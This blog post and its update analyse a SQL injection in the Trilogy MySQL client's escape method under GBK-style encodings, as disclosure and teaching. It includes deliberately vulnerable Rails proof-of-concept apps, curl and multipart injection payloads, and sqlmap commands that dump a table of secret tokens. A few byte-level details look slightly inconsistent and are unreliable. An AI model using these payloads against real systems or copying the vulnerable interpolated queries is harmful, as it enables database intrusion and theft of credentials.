This post has an important update, please read it.
Two things below turned out to be wrong: the force_encoding in the proof of concept is not
necessary, and the Rails parameter encoding check is not the mitigation I
thought it was. This is exploitable with a single request against an app
that does nothing unusual, if there is an Active Record query with two
slots using `escape`, the app can be exploited, so read the update
at the end of the post.
Yesterday a security advisory was published for
Trilogy, the MySQL client used
by GitHub in production.
GHSA-744p-w4gc-m3gh
is a SQL injection in Trilogy#escape, rated critical with a CVSS score of 9.3.
It affects every version up to and including 2.13.1 and is fixed in 2.13.2.
There is no CVE assigned yet, and it was discovered by Anthropic’s OSS Scanner.
I wanted to build a vulnerable app and exploit it to understand how bad this issue really is. Spoiler: it is bad, but the exploitable surface is narrower than every Trilogy app.
Trilogy#escape is the method that escapes a string so you can safely drop it
between quotes in a query. It walks the string and puts a backslash in front of
the dangerous bytes like '. The problem is two fold: it does this byte by
byte, and it returns the result tagged with the input string’s encoding
rather than the connection’s.
That works fine for ASCII and UTF-8, but it doesn’t for multibyte encodings,
such as Shift_JIS, Windows-31J, Big5, GBK and GB18030. In those encodings the
trailing byte of a multibyte character can land anywhere in the ASCII range,
including 0x5c, which is the backslash. So the backslash that escape just
inserted gets swallowed as the second byte of a multibyte character, and the
quote that follows it is left standing on its own.
It is easier to see this with bytes. Take the string \xbf\x27 tagged as GBK, where
0xbf is a lead byte and 0x27 is a ':
client = Trilogy.new(host: "127.0.0.1", database: "poc", encoding: "utf8mb4")
payload = "\xbf\x27".dup.force_encoding("GBK")
escaped = client.escape(payload)
payload.bytes.map { |b| "%02x" % b } # => ["bf", "27"]
escaped.bytes.map { |b| "%02x" % b } # => ["bf", "5c", "27"]
escaped.encoding # => #<Encoding:GBK>
escape added the 5c (backslash) in front of the 27 (quote). But
now the bytes are bf 5c 27, and under GBK bf 5c is a single valid character,
which leaves the 27 as a free, unescaped quote. When Trilogy later sends the
query it transcodes it to the connection’s charset, and that one character plus
a free quote structure will be just fine in utf8mb4. The quote escaped the escaping.
The advisory lists two ways an app is affected:
- On any connection charset, including the default
utf8mb4, when an attacker can influence the encoding of a string the app escapes. - On connections configured with
encoding: sjis,cp932,big5,gbkorgb18030. Those never really worked and now raise anArgumentError.
A few years ago I wrote about
building a single file Rails application,
and it is the perfect tool for a proof of concept like this. Here is app.ru,
pinned to the vulnerable 2.13.1 version of Trilogy:
# frozen_string_literal: true
require "bundler/inline"
gemfile(true) do
source "https://rubygems.org"
gem "rails", "~> 8.0"
gem "trilogy", "2.13.1"
end
require "rails/all"
ENV["DATABASE_URL"] = "trilogy://root@127.0.0.1:13306/poc?encoding=utf8mb4"
class App < Rails::Application
config.root = __dir__
config.consider_all_requests_local = true
config.secret_key_base = "poc_secret"
config.eager_load = false
routes.append { get "/users", to: "users#index" }
end
class UsersController < ActionController::Base
def index
raw = CGI.unescape(request.get_header("HTTP_X_CUSTOMER").to_s).force_encoding("GBK")
conn = ActiveRecord::Base.connection.raw_connection
escaped = conn.escape(raw)
rows = conn.query("SELECT id, username FROM users WHERE username = '#{escaped}'").to_a
render json: rows
end
end
App.initialize!
run App
Note that the query uses escape and string interpolation directly. This isn’t
how you should be writing queries, you should use parameterized queries, but
there is a lot of code out there that does exactly this, and it is supposed to
be safe.
Also, the string need to be force endoced to GBK, because it is not possible
to control the encoding of the string outside of the application, what is sent
is just bytes and Ruby determines the encoding.
We need a MySQL to point our proof of concept at, so we spin up a docker container for that:
docker run -d --name mysql -e MYSQL_ALLOW_EMPTY_PASSWORD=1 \
-e MYSQL_DATABASE=poc -p 13306:3306 mysql:8.4
And a table:
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(64),
secret VARCHAR(64)
) CHARACTER SET utf8mb4;
INSERT INTO users (username, secret) VALUES
('alice', 'alice-token'),
('bob', 'bob-token'),
('admin', 'SUPER-SECRET-ADMIN-TOKEN');
Run it with rackup app.ru -p 9292 and a normal lookup behaves as you would
expect:
$ curl -H 'X-Customer: alice' 'http://127.0.0.1:9292/users'
[[1,"alice"]]
You might wonder why the proof of concept reads the id from a header
instead of a plain ?username= parameter. That is the interesting part. Modern
Rails validates that request parameters are valid UTF-8 and raises
ActionDispatch::InvalidParameterError before your controller ever runs, so
this never reaches escape:
$ curl 'http://127.0.0.1:9292/users?username=%bf%27'
... ActionDispatch::InvalidParameterError (Invalid encoding for parameter ...)
That check is a good mitigation. It makes aa query string payload a dead end.
The bug happens where the string being escaped carries a non UTF-8 encoding from
somewhere Rails does not validate: a header, a raw request body, a base64 or
hex blob the app decodes, or data pulled from another system, and then
force_encoding or encode is used to convert it to one of those legacy
charsets. My proof of concept models a customer id that arrives over a header
from an upstream system that speaks GBK, not sure how realistic that scenario
is, but it is good to demonstrate the issue I guess.
Now let’s see how to exploiut this. The injection byte sequence we need is
%bf%27: the lone lead byte followed by the quote. After escape turns it into
bf 5c 27 the quote is free, so we can tack on the rest of a query and comment
out the trailing quote from the template:
$ curl -H 'X-Customer: %bf%27 OR 1=1-- -' 'http://127.0.0.1:9292/users'
[[1,"alice"],[2,"bob"],[3,"admin"]]
The OR 1=1 matched every row. A UNION lets us pull columns the endpoint was
never meant to return:
$ curl -H "X-Customer: %bf%27 UNION SELECT secret,username FROM users-- -" \
'http://127.0.0.1:9292/users'
[["alice-token","alice"],["bob-token","bob"],["SUPER-SECRET-ADMIN-TOKEN","admin"]]
There is admin’s secret token.
Doing this by hand is fine for a single table, but
sqlmap makes exfiltration trivial. It even ships a tamper
script built for exactly this class of bug: unmagicquotes replaces a ' with
%bf%27 and fixes up the rest of the payload. Our injection point is a header,
so we mark it with *:
$ sqlmap -u 'http://127.0.0.1:9292/users' \
--headers='X-Customer: 1*' \
--tamper=unmagicquotes --dbms=mysql --batch
sqlmap finds it without any trouble:
Parameter: X-Customer #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: 1' AND 1548=(SELECT (CASE WHEN (1548=1548) THEN 1548 ELSE ...
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: 1' UNION ALL SELECT NULL,CONCAT(...)-- -
And --dump walks the table out for us:
$ sqlmap -u 'http://127.0.0.1:9292/users' --headers='X-Customer: 1*' \
--tamper=unmagicquotes --dbms=mysql --batch -D poc -T users --dump
Database: poc
Table: users
[3 entries]
+----+--------------------------+----------+
| id | secret | username |
+----+--------------------------+----------+
| 1 | alice-token | alice |
| 2 | bob-token | bob |
| 3 | SUPER-SECRET-ADMIN-TOKEN | admin |
+----+--------------------------+----------+
From here it is the usual sqlmap story: dump other tables, read the rest of the database, or try for a shell if the privileges allow it.
To mitigate this issue, you need to upgrade to trilogy 2.13.2. The fix
re-encodes strings to the connection’s encoding before escaping and refuses
input it can’t safely handle, so the same request now raises instead of
injecting:
Encoding::InvalidByteSequenceError: "\xBF" followed by "'" on GBK
It also rejects those dangerous connection charsets outright with an
ArgumentError at connection time. If you genuinely can’t upgrade yet, the
advisory’s workaround is to enforce the encoding of every string you pass to
Trilogy#escape and Trilogy#query.
As I mentioned before the issue is bad, but not something that could be exploited against any Rails app the uses the adapter, some conditions still need to be met.
And the lesson from this issue is that escaping is encoding dependent. The moment you escape a string in one encoding and interpret it in another, the escaping can quietly stop meaning what you think it means. Parameterized queries sidestep the whole problem, so reach for those instead of escaping by hand.
I made a little video demostration of the issue:
Update: it is worse than I thought
I kept poking at this after being told that this can be trivially exploited, and
I got a few things wrong. The force_encoding in my proof of concept is not
necessary at all, and the parameter encoding check is not the mitigation I
thought it was. You can trigger this with a single curl against an app that
does nothing unusual(no force_encoding) if the connection uses one of the problematic encodings.
A multipart/form-data part can set the Content-Type, and Rack honours the
charset on it. So the request decides what encoding a parameter is tagged
with. Rails then validates that parameter with valid_encoding? against
that encoding, not against UTF-8(this is one of the things I overlooked).
This means that the payload can reach Trilogy.
So we pick an encoding that has no invalid byte sequences:
charset=binary ASCII-8BIT valid -> reaches the app
charset=latin1 ASCII-8BIT valid -> reaches the app
charset=iso-8859-1 ISO-8859-1 valid -> reaches the app
charset=foo ASCII-8BIT valid -> reaches the app
charset=<empty> ASCII-8BIT valid -> reaches the app
charset=gbk 400 Bad Request
Any charset name Ruby does not recognise falls back to ASCII-8BIT, where every
byte is valid by definition.
So one way to exploit this is when the connection uses one of the affected charsets.
This is a single file app, to demonstrate it:
ENV["DATABASE_URL"] = "trilogy://root@127.0.0.1:13306/poc?encoding=gbk"
class App < Rails::Application
config.root = __dir__
config.consider_all_requests_local = true
config.secret_key_base = "poc_secret"
config.eager_load = false
routes.append { post "/users", to: "users#index" }
end
class UsersController < ActionController::Base
def index
conn = ActiveRecord::Base.connection.raw_connection
escaped = conn.escape(params[:username])
rows = conn.query("SELECT id, username FROM users WHERE username = '#{escaped}'").to_a
render json: rows
end
end
The connection charset is gbk, and we are reading a parameter instead of a header.
No force_encoding, a plain params[:username] passed through escape. Then we build a
multipart body that tags the parameter as binary and carries the payload:
# /tmp/body.bin
--X9X9X9
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=binary
' OR 1=1-- -
--X9X9X9--
And we make a cURL request like follows:
$ curl -s -X POST -H "Content-Type: multipart/form-data; boundary=X9X9X9" \
--data-binary @/tmp/body.bin 'http://127.0.0.1:9292/users'
[[1,"alice"],[2,"bob"],[3,"admin"]]
The bytes in the input are bf 27, which is invalid in GBK, but binary is not
validated. Then it gets escaped and escape puts a backslash, so it becomes bf
5c 27 and the server interprets that as bf 5c since that’s a single character
and we have a remaining 27, which is a single quote and makes us escape the
escaping.
Swapping charset=binary for charset=gbk on the same request gets you a
400, that’s what I was trying to use before.
There is another example I found, and that’s on a utf8mb4 connection, so it
has a much wider effect. I was trying to get that extra quote, but I had no luck
so far. As I mentioned earlier, it might be just me not knowing a trick, if you
know a way and willing to share, I would love to learn about it.
However, what I
realized is that you can get an extra backslash, from input that is
perfectly valid. There are many valid GBK characters whose second byte is 0x5c and if we have a payload such as bf 5c, and it gets escaped, it will become bf 5c 5c. And then there is transcoding that turns this into utf8 and it becomes e7 b8 97 5c which is 2 characters in utf8, the second is a /.
Now if we use this payload with the earlier example, it will just trigger an error, because it produces an invalid SQL query.
But if there is a query with two quoted slots, it causes a problem.
Let’s change the example a little bit. We add a password field to the database
table:
ALTER TABLE users ADD COLUMN password VARCHAR(64);
UPDATE users SET password = CONCAT(username, 'password');
Then we adapt the single page app to find the user with a matching username and password:
ENV["DATABASE_URL"] = "trilogy://root@127.0.0.1:13306/poc?encoding=utf8mb4"
class UsersController < ActionController::Base
def index
conn = ActiveRecord::Base.connection.raw_connection
username = conn.escape(params[:username])
password = conn.escape(params[:password])
rows = conn.query(
"SELECT * FROM users WHERE username = '#{username}' AND password = '#{password}'"
).to_a
render json: rows
end
end
And we change the payload to this:
# /tmp/body2.bin
--X9X9X9
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=gbk
\
--X9X9X9
Content-Disposition: form-data; name="password"
OR 1=1-- -
--X9X9X9--
The first part is the GBK bytes, the second part is plain ASCII SQL. If we send a legitimate query, we get the correct result, an invalid password returns nothing and the payload returns all rows from the table:
$ curl -s 'http://127.0.0.1:9292/users' -d 'username=alice&password=password'
[[1,"alice"]]
$ curl -s 'http://127.0.0.1:9292/users' -d 'username=alice&password=nope'
[]
$ curl -s -X POST -H "Content-Type: multipart/form-data; boundary=X9X9X9" \
--data-binary @/tmp/body2.bin 'http://127.0.0.1:9292/users'
[[1,"alice","alice-token","password"],[2,"bob","bob-token","password"],[3,"admin","SUPER-SECRET-ADMIN-TOKEN","password"]]
I tried fourteen different query tails on a single interpolation, including
LIMIT, ORDER BY, IN lists and queries with other string literals after the
parameter, and every one of them was a syntax error. So one interpolation with
nothing else quoted doesn’t seem to trigger the issue, but I can just keep
repeating myself, if you think that’s wrong, I would love to learn how to do it.
Develop the right mindset for Rails security
Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.
Get the course for $99Or follow me on Twitter
Hire me for a security audit
I find security issues before the bad guys do.
Penetration test for Rails apps